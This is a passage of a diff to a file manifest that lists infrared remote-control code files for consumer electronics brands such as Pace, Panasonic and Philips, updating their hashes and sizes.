Integra/Receiver/210,109.ir +F:de6ec0d88fe7820201e95502d0c38507:4382:infrared/_CSV-IRDB_/Onkyo Integra/DVD Changer/210,43.ir +F:3f5d80237ec8396eea6b3b124f6a4d87:1005:infrared/_CSV-IRDB_/Onkyo Integra/Receiver/210,108.ir +F:2a261526da22a80ec75c861306ff5eb8:1800:infrared/_CSV-IRDB_/Onkyo Integra/Receiver/210,109.ir D:infrared/_CSV-IRDB_/Optex/Unknown_ORT -F:d16c9c705e46e489109acb59bb61d5c9:3365:infrared/_CSV-IRDB_/Optex/Unknown_ORT/0,-1.ir +F:44428512633f5334c8bf350c8f42648d:3153:infrared/_CSV-IRDB_/Optex/Unknown_ORT/0,-1.ir D:infrared/_CSV-IRDB_/PHAST/PLR-IR1 -F:e459756fbd467f77ba857115a4184094:12427:infrared/_CSV-IRDB_/PHAST/PLR-IR1/85,-1.ir +F:9dca7c032d8c811efd4631c16b77dddf:11633:infrared/_CSV-IRDB_/PHAST/PLR-IR1/85,-1.ir D:infrared/_CSV-IRDB_/PLU2/Unknown_DVX-345pro -F:4d5e7acd7339e18b953cab2b7418eaf9:4756:infrared/_CSV-IRDB_/PLU2/Unknown_DVX-345pro/0,-1.ir +F:bd4e144117417321ae96244e2a3b97da:4454:infrared/_CSV-IRDB_/PLU2/Unknown_DVX-345pro/0,-1.ir D:infrared/_CSV-IRDB_/PS Audio/CD Player -F:5d1809cd79668e4f640e548a5fbfeb75:1947:infrared/_CSV-IRDB_/PS Audio/CD Player/20,-1.ir +F:fa94f8c1d1ff9e7261bbf50024113846:1819:infrared/_CSV-IRDB_/PS Audio/CD Player/20,-1.ir D:infrared/_CSV-IRDB_/Pace/Unknown_DC551P D:infrared/_CSV-IRDB_/Pace/Unknown_DI4001N D:infrared/_CSV-IRDB_/Pace/Unknown_DI4010I @@ -4437,23 +4437,23 @@ D:infrared/_CSV-IRDB_/Pace/Unknown_RC-30 D:infrared/_CSV-IRDB_/Pace/Unknown_TDS460NNZ D:infrared/_CSV-IRDB_/Pace/Unknown_pacetwin D:infrared/_CSV-IRDB_/Pace/Unknown_xsat -F:c353407c5174b1111e5c3f8e2c10dfac:1052:infrared/_CSV-IRDB_/Pace/Unknown_DC551P/27,-1.ir -F:5c47649181023c8c7d882c52e1cb0618:3653:infrared/_CSV-IRDB_/Pace/Unknown_DI4001N/10,-1.ir -F:e5a310fd4322ed89b476cb434c703326:3648:infrared/_CSV-IRDB_/Pace/Unknown_DI4010I/10,-1.ir -F:9d7cfeb2723ecc644abdd539803bbdf0:3051:infrared/_CSV-IRDB_/Pace/Unknown_DS420/16,80.ir -F:baf23cd37beb16f8c646df99f70aa4d9:2961:infrared/_CSV-IRDB_/Pace/Unknown_DS620/132,60.ir -F:502087b6fea44d15a526dcf9659e2e49:2940:infrared/_CSV-IRDB_/Pace/Unknown_Digital/0,0.ir -F:48843da8bfb15cb02d9a8915615cb4c4:2759:infrared/_CSV-IRDB_/Pace/Unknown_PACE-RC-10/132,60.ir -F:dcf62ea6a8e1d8c8d2520cc6d0b34311:5267:infrared/_CSV-IRDB_/Pace/Unknown_PaceMSS/1,-1.ir -F:1c2fa9d808209230898102eb819b1b98:2496:infrared/_CSV-IRDB_/Pace/Unknown_RC-17/132,60.ir -F:92214f27cf48b7a2910538aeac0afd65:3074:infrared/_CSV-IRDB_/Pace/Unknown_RC-30/132,60.ir -F:3ca3de9ef5cabf3e5506086a2b0112ae:3849:infrared/_CSV-IRDB_/Pace/Unknown_TDS460NNZ/35,128.ir -F:92687f0780e94089154930502dfced13:4416:infrared/_CSV-IRDB_/Pace/Unknown_pacetwin/34,-1.ir -F:fc5757bd43b0235f0fecc182cafda03e:3433:infrared/_CSV-IRDB_/Pace/Unknown_xsat/34,-1.ir +F:72b6e682c1346ecd3805bf1170518f50:984:infrared/_CSV-IRDB_/Pace/Unknown_DC551P/27,-1.ir +F:5f9639205855bfe36d4d4680bdbd8464:3423:infrared/_CSV-IRDB_/Pace/Unknown_DI4001N/10,-1.ir +F:8a0e047cedf8bbae1e22e903a459a6ef:3418:infrared/_CSV-IRDB_/Pace/Unknown_DI4010I/10,-1.ir +F:9ed190c596cf3b3c9bc8c63a96f3607a:2851:infrared/_CSV-IRDB_/Pace/Unknown_DS420/16,80.ir +F:5796cdf7df6e438b3fd11dc888b72f61:2773:infrared/_CSV-IRDB_/Pace/Unknown_DS620/132,60.ir +F:462abc8641321f432912bc14b371e8ec:2746:infrared/_CSV-IRDB_/Pace/Unknown_Digital/0,0.ir +F:2bcf409136d7d1a48f59b739d3dc1001:2583:infrared/_CSV-IRDB_/Pace/Unknown_PACE-RC-10/132,60.ir +F:a970529bd168674b16217c88e601b5d7:4917:infrared/_CSV-IRDB_/Pace/Unknown_PaceMSS/1,-1.ir +F:8418c700985aec1873ba6ceb7fa95e1b:2338:infrared/_CSV-IRDB_/Pace/Unknown_RC-17/132,60.ir +F:581a758a455ed6aa3654ac5874b825eb:2880:infrared/_CSV-IRDB_/Pace/Unknown_RC-30/132,60.ir +F:27f92483915b23303b9928450faad04f:3607:infrared/_CSV-IRDB_/Pace/Unknown_TDS460NNZ/35,128.ir +F:1b7efcd0193ce3217d86a0d9dfa543dd:4126:infrared/_CSV-IRDB_/Pace/Unknown_pacetwin/34,-1.ir +F:77125005f444411c78ad784389000be3:3215:infrared/_CSV-IRDB_/Pace/Unknown_xsat/34,-1.ir D:infrared/_CSV-IRDB_/Packard Bell/Unknown_PackBell -F:746906cc20cde2c571ec4fe4bd41e159:3248:infrared/_CSV-IRDB_/Packard Bell/Unknown_PackBell/16,-1.ir +F:45a9c0e4862a9483abc27b3669ad8d94:3042:infrared/_CSV-IRDB_/Packard Bell/Unknown_PackBell/16,-1.ir D:infrared/_CSV-IRDB_/Palcom/Unknown_DSL-6 -F:846d19686c745f31d46f4478c8859e42:3360:infrared/_CSV-IRDB_/Palcom/Unknown_DSL-6/192,-1.ir +F:78d5b46a3c59f4b524b67dfd503d5b30:3148:infrared/_CSV-IRDB_/Palcom/Unknown_DSL-6/192,-1.ir D:infrared/_CSV-IRDB_/Panasonic/DVD Player D:infrared/_CSV-IRDB_/Panasonic/HDTV Tuner D:infrared/_CSV-IRDB_/Panasonic/Laser Disc @@ -4492,78 +4492,78 @@ D:infrared/_CSV-IRDB_/Panasonic/Unknown_panasonic-RAX-RX318W D:infrared/_CSV-IRDB_/Panasonic/Unknown_panasonic.conf D:infrared/_CSV-IRDB_/Panasonic/Unknown_veq2249 D:infrared/_CSV-IRDB_/Panasonic/VCR -F:d9f93097d936491ff9e893ee05b51cf1:604:infrared/_CSV-IRDB_/Panasonic/DVD Player/128,0.ir -F:b2b02674528092a8b16187002f1e13aa:1066:infrared/_CSV-IRDB_/Panasonic/DVD Player/160,0.ir -F:87bb783b5f7a752ccb234e2a81e16e65:129:infrared/_CSV-IRDB_/Panasonic/DVD Player/160,16.ir -F:e17c4232d04fafa5c59ae2b28754499e:337:infrared/_CSV-IRDB_/Panasonic/DVD Player/160,18.ir -F:40798c8bdb6b42d96b028d1644d6242d:1859:infrared/_CSV-IRDB_/Panasonic/DVD Player/160,28.ir -F:0d5cfa50b1bc1082944b97220f562581:3147:infrared/_CSV-IRDB_/Panasonic/DVD Player/160,34.ir -F:7aba1e7c03ecfb16958df99d9c94a351:318:infrared/_CSV-IRDB_/Panasonic/DVD Player/160,4.ir -F:0f278ed47402e63e979bf10b74227bc1:8719:infrared/_CSV-IRDB_/Panasonic/DVD Player/176,0.ir -F:d9072558713f6e6332c7408b4013ebfd:2241:infrared/_CSV-IRDB_/Panasonic/HDTV Tuner/128,2.ir -F:a1158bdd121a48880c0f1748b3f1ddc9:3552:infrared/_CSV-IRDB_/Panasonic/Laser Disc/144,64.ir -F:cbae354ec0385fef1e9695363ab4d62b:679:infrared/_CSV-IRDB_/Panasonic/Receiver/160,0.ir -F:5db471e318f5741379fdb68cfaf95d66:135:infrared/_CSV-IRDB_/Panasonic/Receiver/160,28.ir -F:e4db5974f08594ce8f99d5a9b95bf01c:325:infrared/_CSV-IRDB_/Panasonic/Receiver/160,4.ir -F:d6c3cdef9fece09c600313f6309a86d6:9040:infrared/_CSV-IRDB_/Panasonic/TV/128,0.ir -F:7842f4cc257b79d6f2ac812e634b7948:1260:infrared/_CSV-IRDB_/Panasonic/TV/128,1.ir -F:67a0395431e7bfe8b780e5054191ef64:1341:infrared/_CSV-IRDB_/Panasonic/TV/128,4.ir -F:4ac9639ecb4408a974c94aa70918d881:2345:infrared/_CSV-IRDB_/Panasonic/TV/128,9.ir -F:5b9b219c06f753a2a02ced1a9754b556:812:infrared/_CSV-IRDB_/Panasonic/Unknown_CARC60EX/129,106.ir -F:2817e64594755537ce6bb92991ad0849:1105:infrared/_CSV-IRDB_/Panasonic/Unknown_EUR57510/144,0.ir -F:052cc5ea16a291178e43115e9da31d25:2693:infrared/_CSV-IRDB_/Panasonic/Unknown_EUR642162/160,194.ir -F:11860fa84ea92061545c1fa60b222f07:3650:infrared/_CSV-IRDB_/Panasonic/Unknown_EUR642195/160,194.ir -F:8dfc8ed237c32030a894073d3c97045e:2597:infrared/_CSV-IRDB_/Panasonic/Unknown_EUR643820/160,194.ir -F:f0f00d1b125ed7b06e2a5baf2fca0ac8:2503:infrared/_CSV-IRDB_/Panasonic/Unknown_EUR643826/160,194.ir -F:764ffee4db7cf684159e10f828e0a8b2:4671:infrared/_CSV-IRDB_/Panasonic/Unknown_EUR7617010/176,0.ir -F:1e5d7248bad40f66c95eccfa65abd378:4201:infrared/_CSV-IRDB_/Panasonic/Unknown_EUR7621010/176,0.ir -F:434d1243b955722ea3f6dc73e4b6d3e3:3076:infrared/_CSV-IRDB_/Panasonic/Unknown_EUR7631010/176,0.ir -F:ac46eeb805ff22a35e11e23f8091d594:1880:infrared/_CSV-IRDB_/Panasonic/Unknown_EUR7914Z20/128,72.ir -F:de397d7b18bf11bb2385503457e541e6:1566:infrared/_CSV-IRDB_/Panasonic/Unknown_N2QADC000006/128,72.ir -F:e02ce6a6c14980ab7c31e5bbc95c3195:3374:infrared/_CSV-IRDB_/Panasonic/Unknown_N2QAHB0048/160,194.ir -F:4a0ee77427ea4e5c226dbe4d5194d150:1863:infrared/_CSV-IRDB_/Panasonic/Unknown_N2QAYB000064/128,72.ir -F:4e83a1d516914889a2ff54da438303e0:2862:infrared/_CSV-IRDB_/Panasonic/Unknown_NV-F65/144,0.ir -F:871df6de92a80713f8b8e83c2d4b93ce:2400:infrared/_CSV-IRDB_/Panasonic/Unknown_PANASONIC/0,-1.ir -F:bba7c132cbeb3cca35d513ea2330f649:4704:infrared/_CSV-IRDB_/Panasonic/Unknown_PANASONIC/176,0.ir -F:45cdd39dbb551582c769bafc89a475bc:1103:infrared/_CSV-IRDB_/Panasonic/Unknown_Panasonic-EUR571100/144,0.ir -F:80b3610e6a8dcd655e99ff97ce48a9a6:3533:infrared/_CSV-IRDB_/Panasonic/Unknown_Panasonic-RAK-RX314W/160,194.ir -F:55ee1268c01bdb72a15eae24df1a3ebe:3522:infrared/_CSV-IRDB_/Panasonic/Unknown_RAK-RX309W/160,194.ir -F:86842476ce3d7351faeb0c3041e3a5ee:3715:infrared/_CSV-IRDB_/Panasonic/Unknown_RC4346-01B/0,-1.ir -F:6d480872430b60516e8273a4c6105357:2558:infrared/_CSV-IRDB_/Panasonic/Unknown_RX-ED70/160,194.ir -F:a4399005c3c0c6b0f89f0ab02dcf56ec:1932:infrared/_CSV-IRDB_/Panasonic/Unknown_TV/0,-1.ir -F:d0776268bdbd17345552ff333f54e873:3538:infrared/_CSV-IRDB_/Panasonic/Unknown_VCR/144,1.ir -F:2f1f27ad42a70537c58a739783ba6d56:3147:infrared/_CSV-IRDB_/Panasonic/Unknown_VEQ0910/144,0.ir -F:de35e2c02ff5d723bdb8c1d65853dcbc:3957:infrared/_CSV-IRDB_/Panasonic/Unknown_VEQ1309/144,0.ir -F:62fea2a9e5aa2a73bc8ef28d4ecb773b:1075:infrared/_CSV-IRDB_/Panasonic/Unknown_VEQ1697/112,8.ir -F:11fc208236f3799a7ce03d4f6b5289fc:3641:infrared/_CSV-IRDB_/Panasonic/Unknown_VEQ2380/176,0.ir -F:5ff425fec7f172d1a307640f6f4f0e28:1193:infrared/_CSV-IRDB_/Panasonic/Unknown_VSQS0531/2,-1.ir -F:cb4f646bd8d845df2e2fdad06bd56309:1761:infrared/_CSV-IRDB_/Panasonic/Unknown_cd/160,194.ir -F:3f4d15c207f361818f1136d822de4e17:399:infrared/_CSV-IRDB_/Panasonic/Unknown_panas928/160,194.ir -F:3e2996ed59c37c5abe8c0218fc79f933:3332:infrared/_CSV-IRDB_/Panasonic/Unknown_panasonic-RAX-RX318W/160,194.ir -F:32829fb6f4c224a2d8de8cb9d0bba92e:3146:infrared/_CSV-IRDB_/Panasonic/Unknown_panasonic.conf/144,0.ir -F:12c40be85e1a84fb21d0d2616308f243:3731:infrared/_CSV-IRDB_/Panasonic/Unknown_veq2249/176,0.ir -F:b481d5fb6ceee1396ef0ec8595a9cdbc:5202:infrared/_CSV-IRDB_/Panasonic/VCR/144,0.ir -F:48a62583b35672cebe15db1446e910de:789:infrared/_CSV-IRDB_/Panasonic/VCR/144,1.ir -F:aab38ca73ebd98c09bc17e05e34c2b20:139:infrared/_CSV-IRDB_/Panasonic/VCR/144,5.ir -F:e11bed7f735957175128e5f10bd07b6e:1073:infrared/_CSV-IRDB_/Panasonic/VCR/2,-1.ir +F:239a78f4f807af4e5423a569f653de68:566:infrared/_CSV-IRDB_/Panasonic/DVD Player/128,0.ir +F:599d9b0474c86724822dcd96d3bcad52:998:infrared/_CSV-IRDB_/Panasonic/DVD Player/160,0.ir +F:2fd390021f16e41aa22d9d1a765b1104:121:infrared/_CSV-IRDB_/Panasonic/DVD Player/160,16.ir +F:06357212ac6291804612ed47b8db62da:317:infrared/_CSV-IRDB_/Panasonic/DVD Player/160,18.ir +F:e909cabbc4cfcbb7c9cc51278a360acf:1737:infrared/_CSV-IRDB_/Panasonic/DVD Player/160,28.ir +F:5f94b729d8af653ca71b09bda7ffeaa0:2947:infrared/_CSV-IRDB_/Panasonic/DVD Player/160,34.ir +F:6d228364dcb1f4ca92757205ad0d2728:298:infrared/_CSV-IRDB_/Panasonic/DVD Player/160,4.ir +F:a2b72c0b52bae4c2b6ca2d72e9c9a218:8165:infrared/_CSV-IRDB_/Panasonic/DVD Player/176,0.ir +F:5452aa2a59bc4497c0798aeed36235f0:2095:infrared/_CSV-IRDB_/Panasonic/HDTV Tuner/128,2.ir +F:ec9bcd5b95e860ee5a8f9c507cebd7e8:3322:infrared/_CSV-IRDB_/Panasonic/Laser Disc/144,64.ir +F:33bd1e31be3978386358faabe2f8eedf:635:infrared/_CSV-IRDB_/Panasonic/Receiver/160,0.ir +F:94b0e372cdda066cee1f97fc447150c7:127:infrared/_CSV-IRDB_/Panasonic/Receiver/160,28.ir +F:302df789da38ff1b1d679494b546ab33:305:infrared/_CSV-IRDB_/Panasonic/Receiver/160,4.ir +F:4506c6588055e8c81b71a6b6199a87ce:8486:infrared/_CSV-IRDB_/Panasonic/TV/128,0.ir +F:303b48baed2f3f341ab701dbeb0b8017:1186:infrared/_CSV-IRDB_/Panasonic/TV/128,1.ir +F:826c8730530422a13f1ab26503791ef9:1261:infrared/_CSV-IRDB_/Panasonic/TV/128,4.ir +F:c8c094d3858a162ba1122a292822e44b:2199:infrared/_CSV-IRDB_/Panasonic/TV/128,9.ir +F:5b9e36476c952cb709e602483fbe44ac:762:infrared/_CSV-IRDB_/Panasonic/Unknown_CARC60EX/129,106.ir +F:75c840e437cbf69ba9d1a27545cd72d3:1037:infrared/_CSV-IRDB_/Panasonic/Unknown_EUR57510/144,0.ir +F:3c876c934f02ce67ca5d030965bcd8d8:2523:infrared/_CSV-IRDB_/Panasonic/Unknown_EUR642162/160,194.ir +F:18584517357a201a541eab30383e01c0:3420:infrared/_CSV-IRDB_/Panasonic/Unknown_EUR642195/160,194.ir +F:3b9b065e48048415213e9a2291fdecab:2439:infrared/_CSV-IRDB_/Panasonic/Unknown_EUR643820/160,194.ir +F:47245c3614bd0a11a2822e27268acfd2:2345:infrared/_CSV-IRDB_/Panasonic/Unknown_EUR643826/160,194.ir +F:f5c3f5782a6d5f311c9526db398a9ed4:4375:infrared/_CSV-IRDB_/Panasonic/Unknown_EUR7617010/176,0.ir +F:79a0f57e812bc3a95ad8661048568e4a:3935:infrared/_CSV-IRDB_/Panasonic/Unknown_EUR7621010/176,0.ir +F:6efbd00d797095a9416625ff5098682b:2882:infrared/_CSV-IRDB_/Panasonic/Unknown_EUR7631010/176,0.ir +F:1abcb218d33e3191a134898599d1cf54:1764:infrared/_CSV-IRDB_/Panasonic/Unknown_EUR7914Z20/128,72.ir +F:84ab5a90d7e24b2e89921e21dbc3ee79:1468:infrared/_CSV-IRDB_/Panasonic/Unknown_N2QADC000006/128,72.ir +F:5e9188002045aa555dc3237ff3352e66:3162:infrared/_CSV-IRDB_/Panasonic/Unknown_N2QAHB0048/160,194.ir +F:85a21088b60b1d51d95c827e9ae30469:1747:infrared/_CSV-IRDB_/Panasonic/Unknown_N2QAYB000064/128,72.ir +F:cf14811273acc0016e63f8de8a74404b:2680:infrared/_CSV-IRDB_/Panasonic/Unknown_NV-F65/144,0.ir +F:adf629ba43f8914f3c9ff35cdacc4134:2248:infrared/_CSV-IRDB_/Panasonic/Unknown_PANASONIC/0,-1.ir +F:ffdbc1f36192f3befdbc6656e2175d42:4408:infrared/_CSV-IRDB_/Panasonic/Unknown_PANASONIC/176,0.ir +F:4786d24e38636f52e281de1b1e9c943d:1035:infrared/_CSV-IRDB_/Panasonic/Unknown_Panasonic-EUR571100/144,0.ir +F:1f65f2cceaa4ca82e473fbfd3c4a3b26:3309:infrared/_CSV-IRDB_/Panasonic/Unknown_Panasonic-RAK-RX314W/160,194.ir +F:82e72204ab61092a1de2862debd8a46a:3298:infrared/_CSV-IRDB_/Panasonic/Unknown_RAK-RX309W/160,194.ir +F:73540e891b4a44adb2372b79a12a897d:3479:infrared/_CSV-IRDB_/Panasonic/Unknown_RC4346-01B/0,-1.ir +F:5dd004d45a0ae9b6959292461d82ad6f:2400:infrared/_CSV-IRDB_/Panasonic/Unknown_RX-ED70/160,194.ir +F:9e1758f0a3896d7e0141c30644247245:1810:infrared/_CSV-IRDB_/Panasonic/Unknown_TV/0,-1.ir +F:70bbf7097d8ca603ec040c34301b74bd:3314:infrared/_CSV-IRDB_/Panasonic/Unknown_VCR/144,1.ir +F:5116a815e1e9f67a50a9f9be2b10ec90:2947:infrared/_CSV-IRDB_/Panasonic/Unknown_VEQ0910/144,0.ir +F:33304f2cfdc2e39fdbfdfe33ccaee126:3709:infrared/_CSV-IRDB_/Panasonic/Unknown_VEQ1309/144,0.ir +F:6503293633161c056b45485d19b1b0c7:1007:infrared/_CSV-IRDB_/Panasonic/Unknown_VEQ1697/112,8.ir +F:db3370a977e7c874ec59d48acf1c0574:3411:infrared/_CSV-IRDB_/Panasonic/Unknown_VEQ2380/176,0.ir +F:bab9b110a1edbe0aba82bc8fbcca0a62:1119:infrared/_CSV-IRDB_/Panasonic/Unknown_VSQS0531/2,-1.ir +F:f718dacf881f2d195c7598374a454be8:1651:infrared/_CSV-IRDB_/Panasonic/Unknown_cd/160,194.ir +F:1e820eaab82109844b1df5008ca6cdf0:373:infrared/_CSV-IRDB_/Panasonic/Unknown_panas928/160,194.ir +F:7537ba6c36ccab0cba7676f31b8ecc24:3120:infrared/_CSV-IRDB_/Panasonic/Unknown_panasonic-RAX-RX318W/160,194.ir +F:b220bc9bf4589effef299dc63bed6b68:2946:infrared/_CSV-IRDB_/Panasonic/Unknown_panasonic.conf/144,0.ir +F:7d943772bc14ee26601c66258a2537bf:3495:infrared/_CSV-IRDB_/Panasonic/Unknown_veq2249/176,0.ir +F:fcd051ed560a37fbffe02e475f8120d3:4876:infrared/_CSV-IRDB_/Panasonic/VCR/144,0.ir +F:72a3149d0aee79e5fe5278c1857cb3cf:739:infrared/_CSV-IRDB_/Panasonic/VCR/144,1.ir +F:e2b2031245c493776160368e9a781f6b:131:infrared/_CSV-IRDB_/Panasonic/VCR/144,5.ir +F:7a14fa831fc0546a55201fe3165ac983:1005:infrared/_CSV-IRDB_/Panasonic/VCR/2,-1.ir D:infrared/_CSV-IRDB_/Panda/Unknown_DVD-6838 -F:39f74f2ed88492cd1f0cf4b77c06f5f6:4467:infrared/_CSV-IRDB_/Panda/Unknown_DVD-6838/0,-1.ir +F:a6873eb1cf4e67833ced84fc50b28c62:4183:infrared/_CSV-IRDB_/Panda/Unknown_DVD-6838/0,-1.ir D:infrared/_CSV-IRDB_/Pansat/Unknown_2500a D:infrared/_CSV-IRDB_/Pansat/Unknown_2700 D:infrared/_CSV-IRDB_/Pansat/Unknown_2700a -F:c04d97a8dfc21c0fe36e266fe83978cc:2983:infrared/_CSV-IRDB_/Pansat/Unknown_2500a/0,249.ir -F:07953de1872bcdbe7afe97ab0e5163e5:3325:infrared/_CSV-IRDB_/Pansat/Unknown_2700/8,-1.ir -F:c5ca33c20cb74fb127ee8a17b9ba354f:4294:infrared/_CSV-IRDB_/Pansat/Unknown_2700a/8,-1.ir +F:9cca34089c1065f6d165581e6670b035:2795:infrared/_CSV-IRDB_/Pansat/Unknown_2500a/0,249.ir +F:5e4d5ec45256a1bbd5fd680d56638484:3113:infrared/_CSV-IRDB_/Pansat/Unknown_2700/8,-1.ir +F:1bb4204b89811c4cc45134fec19cacc4:4022:infrared/_CSV-IRDB_/Pansat/Unknown_2700a/8,-1.ir D:infrared/_CSV-IRDB_/Parasound/Receiver D:infrared/_CSV-IRDB_/Parasound/Surround Processor -F:86e87426aafe5f8b759d39ba0bb2dea4:805:infrared/_CSV-IRDB_/Parasound/Receiver/134,97.ir -F:1c4a3701de401d79ab01a86ef91d37be:4597:infrared/_CSV-IRDB_/Parasound/Receiver/27,-1.ir -F:1be40b53936fab0cf8582f03a3d8e900:5117:infrared/_CSV-IRDB_/Parasound/Receiver/3,240.ir -F:05ee0c8d499301800673b63eb6928a3d:2466:infrared/_CSV-IRDB_/Parasound/Surround Processor/3,240.ir +F:173684bb45ba45956df62c068deda82f:755:infrared/_CSV-IRDB_/Parasound/Receiver/134,97.ir +F:0faf8e936a92ef0d794b5449465ccdfb:4295:infrared/_CSV-IRDB_/Parasound/Receiver/27,-1.ir +F:5376485d423b884791af53bfe448a19e:4785:infrared/_CSV-IRDB_/Parasound/Receiver/3,240.ir +F:26e40c306b5de0785db98bb5f0460e0b:2308:infrared/_CSV-IRDB_/Parasound/Surround Processor/3,240.ir D:infrared/_CSV-IRDB_/Peekton/Unknown_IR6005 -F:462b37cede0ee096721966af2c84b6d4:4676:infrared/_CSV-IRDB_/Peekton/Unknown_IR6005/0,-1.ir +F:ebd344f652778e3ff1d61a9b5c9df071:4380:infrared/_CSV-IRDB_/Peekton/Unknown_IR6005/0,-1.ir D:infrared/_CSV-IRDB_/Philco/Unknown_PCR-111 -F:4469882db234c993c5ed35bbd1be53e6:2478:infrared/_CSV-IRDB_/Philco/Unknown_PCR-111/80,-1.ir +F:b13861b978e90bdda4834dcf2adc1875:2320:infrared/_CSV-IRDB_/Philco/Unknown_PCR-111/80,-1.ir D:infrared/_CSV-IRDB_/Philips/CD-R D:infrared/_CSV-IRDB_/Philips/DSS D:infrared/_CSV-IRDB_/Philips/DVD Player @@ -4635,101 +4635,101 @@ D:infrared/_CSV-IRDB_/Philips/Unknown_philips-rc2592-MODE-v1 D:infrared/_CSV-IRDB_/Philips/Unknown_rd5860.conf D:infrared/_CSV-IRDB_/Philips/Unknown_uDigital D:infrared/_CSV-IRDB_/Philips/VCR -F:50005bddfdee4fd3d33aebe5de799e8a:860:infrared/_CSV-IRDB_/Philips/CD-R/20,-1.ir -F:08aca2da773412aaca6e4d70264a6ece:1477:infrared/_CSV-IRDB_/Philips/CD-R/26,-1.ir -F:b4c95f46e11a1299f0fe2cd4936a197d:3116:infrared/_CSV-IRDB_/Philips/DSS/133,48.ir -F:dc2218c9448e57e120060b1c34754332:1868:infrared/_CSV-IRDB_/Philips/DSS/39,-1.ir -F:822549d0e860606f057f6e30c3c72f62:2896:infrared/_CSV-IRDB_/Philips/DVD Player/4,-1.ir -F:45d93fe2c205f921c27bdfa7ea919280:28909:infrared/_CSV-IRDB_/Philips/Digital Recorder/133,48.ir -F:6b1e65e19e0834a62c718e05fc247550:233:infrared/_CSV-IRDB_/Philips/Receiver/0,-1.ir -F:bfd9e8d675f88c3e106cb0e5b7e309d1:955:infrared/_CSV-IRDB_/Philips/Receiver/16,-1.ir -F:012fad9100d164db82bac3f89b3c48c0:1853:infrared/_CSV-IRDB_/Philips/Receiver/17,-1.ir -F:1e9cfb2c46dfe6d70ad1b26fb5ce464b:128:infrared/_CSV-IRDB_/Philips/Receiver/20,-1.ir -F:d8d3d4c014dd3502a8e431dd14836f89:131:infrared/_CSV-IRDB_/Philips/Receiver/5,-1.ir -F:5e47f54da1b5ac4c3bcb626b85deb0c1:6052:infrared/_CSV-IRDB_/Philips/TV/0,-1.ir -F:9063a42e233a883230849b48965b2442:970:infrared/_CSV-IRDB_/Philips/TV/3,-1.ir -F:d0c851ac5300785b09f47e1cd86f94bd:2513:infrared/_CSV-IRDB_/Philips/Unknown_01/0,-1.ir -F:2187d6462bc534a81073aa13f65b019a:4091:infrared/_CSV-IRDB_/Philips/Unknown_01/48,-1.ir -F:419ff4b710d7c7df930ec6f700fe7741:2794:infrared/_CSV-IRDB_/Philips/Unknown_101/5,-1.ir -F:41bf818120f6f6d2304a8e47ba484dcd:2282:infrared/_CSV-IRDB_/Philips/Unknown_130A/138,245.ir -F:70732c5d9b35874256fe692bfb141d34:2803:infrared/_CSV-IRDB_/Philips/Unknown_17PT1563/0,-1.ir -F:c570c0970ec8f9aaca46273745d7f147:4022:infrared/_CSV-IRDB_/Philips/Unknown_26PFL5604H/0,-1.ir -F:4caa05000e27eb93c0d6c2ca072df181:3485:infrared/_CSV-IRDB_/Philips/Unknown_32PFL5403D/0,-1.ir -F:1cd4d93d4ca6d34ca87e4b25d7ee254c:4237:infrared/_CSV-IRDB_/Philips/Unknown_5260/0,-1.ir -F:914fd337646f3cb517ad1679820cdbd3:2994:infrared/_CSV-IRDB_/Philips/Unknown_5300/0,-1.ir -F:33c76cae0c17fc8e485c8039bef144a5:8590:infrared/_CSV-IRDB_/Philips/Unknown_5373/5,-1.ir -F:d29f4e5393710ec5452e0b9eebd012a7:2834:infrared/_CSV-IRDB_/Philips/Unknown_8243/10,-1.ir -F:8e1765dad266a01c803e493c0e023569:1864:infrared/_CSV-IRDB_/Philips/Unknown_95/5,-1.ir -F:1654859e07170ff10eb05330e798caaf:1478:infrared/_CSV-IRDB_/Philips/Unknown_AV5609/5,-1.ir -F:236c88141501a72e7d9cfaec41f781c0:1938:infrared/_CSV-IRDB_/Philips/Unknown_CD/20,-1.ir -F:627f6a3a4ab12acf46d64bc81562a84e:1190:infrared/_CSV-IRDB_/Philips/Unknown_CD720/20,-1.ir -F:58c4f04a5e614e9dd616f6baa3044c7a:2489:infrared/_CSV-IRDB_/Philips/Unknown_CD723/20,-1.ir -F:5ccd7e096a094e180983c8f62a1543b5:3155:infrared/_CSV-IRDB_/Philips/Unknown_DSX-5500/39,-1.ir -F:1c5bc2ab9b4ee89ba602d40c85ae39ab:3162:infrared/_CSV-IRDB_/Philips/Unknown_DVD-724/4,-1.ir -F:db9eafc3096418dfda25ef3e48bd07e7:3044:infrared/_CSV-IRDB_/Philips/Unknown_DVD711/4,-1.ir -F:074d5a9419637f434118f38652fe5072:2678:infrared/_CSV-IRDB_/Philips/Unknown_DVP-5982/4,-1.ir -F:d27b0bacf341531635235ea051b4eece:3158:infrared/_CSV-IRDB_/Philips/Unknown_DVP-642/4,-1.ir -F:7be04b66864eb24a1e3b1aa6f8b7b073:4682:infrared/_CSV-IRDB_/Philips/Unknown_FW2104/134,83.ir -F:fe5d19ba098d57fdb45546f92ecdcb3f:2945:infrared/_CSV-IRDB_/Philips/Unknown_LV2/20,-1.ir -F:b0d816705a764ea9ddb199ad9fb79d5b:1925:infrared/_CSV-IRDB_/Philips/Unknown_MULTI/0,-1.ir -F:615a1b189287de7fbb59863367799781:2413:infrared/_CSV-IRDB_/Philips/Unknown_MULTI/5,-1.ir -F:62dbce6e3a48e84b742d39a8a9c5cfd2:2107:infrared/_CSV-IRDB_/Philips/Unknown_MULTI/6,-1.ir -F:2f696d4c2ef0e0fb3692dfbdfb6103ef:3730:infrared/_CSV-IRDB_/Philips/Unknown_PHDVD5/26,154.ir -F:4cc487d71239cf1fc9a6381ba158aae6:3078:infrared/_CSV-IRDB_/Philips/Unknown_PHILIPS/0,-1.ir -F:34eeda7e80e68dad2dc41d02447ad21b:2289:infrared/_CSV-IRDB_/Philips/Unknown_PHILIPS/34,-1.ir -F:72680bc075dae110695c32da3d0a3548:3639:infrared/_CSV-IRDB_/Philips/Unknown_PM725S/27,-1.ir -F:aa1f5b52c0ef0a839097ef365a6fbe13:3510:infrared/_CSV-IRDB_/Philips/Unknown_Philips-PMDVD6T-Universal-AUX/64,47.ir -F:0674002734dfc0e12e47dc7f59be70cb:1982:infrared/_CSV-IRDB_/Philips/Unknown_R-48F01/20,-1.ir -F:9147e3ed157ecdb8d6988e65e8c806c8:5252:infrared/_CSV-IRDB_/Philips/Unknown_RC/0,-1.ir -F:bae5a0d97fd5c16e9877a5e6b93ecfae:1785:infrared/_CSV-IRDB_/Philips/Unknown_RC/20,-1.ir -F:e9e7146e72a62b9dd4ffa8d28ef8826f:2870:infrared/_CSV-IRDB_/Philips/Unknown_RC-2012/4,-1.ir 